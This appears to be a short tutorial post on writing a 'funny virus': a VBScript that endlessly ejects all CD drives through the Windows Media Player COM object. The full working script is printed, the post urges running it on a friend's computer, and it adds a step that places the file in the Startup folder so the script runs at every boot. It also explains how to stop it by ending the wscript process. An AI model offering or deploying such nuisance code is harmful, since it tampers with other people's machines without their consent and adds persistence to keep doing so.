How To Create a Funny Virus

To create a virus that could result in continuous opening and closing of cd-drives
do as said below:

Go to start menu there start notepad from accessories
and paste the code given below in it.
now save it with (any name).vbs

For example say virus.vbs

And what u have done is that u have created a virus.
use it with ur friends computer just for fun.


Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If



Now if u want to close this automatic opening and closing of cd-drives then

Go to task manager->processes
there search for process wscript
and end this process.
and ur computer will be normal as before.......


have fun..............

And if u want that this should work each time the computer is satarted then
Go to My computer->Local disks(c):/documents and settings/user/start menu/programs/start up/
and paste this virus.vbs over there.
where user is the name of computer user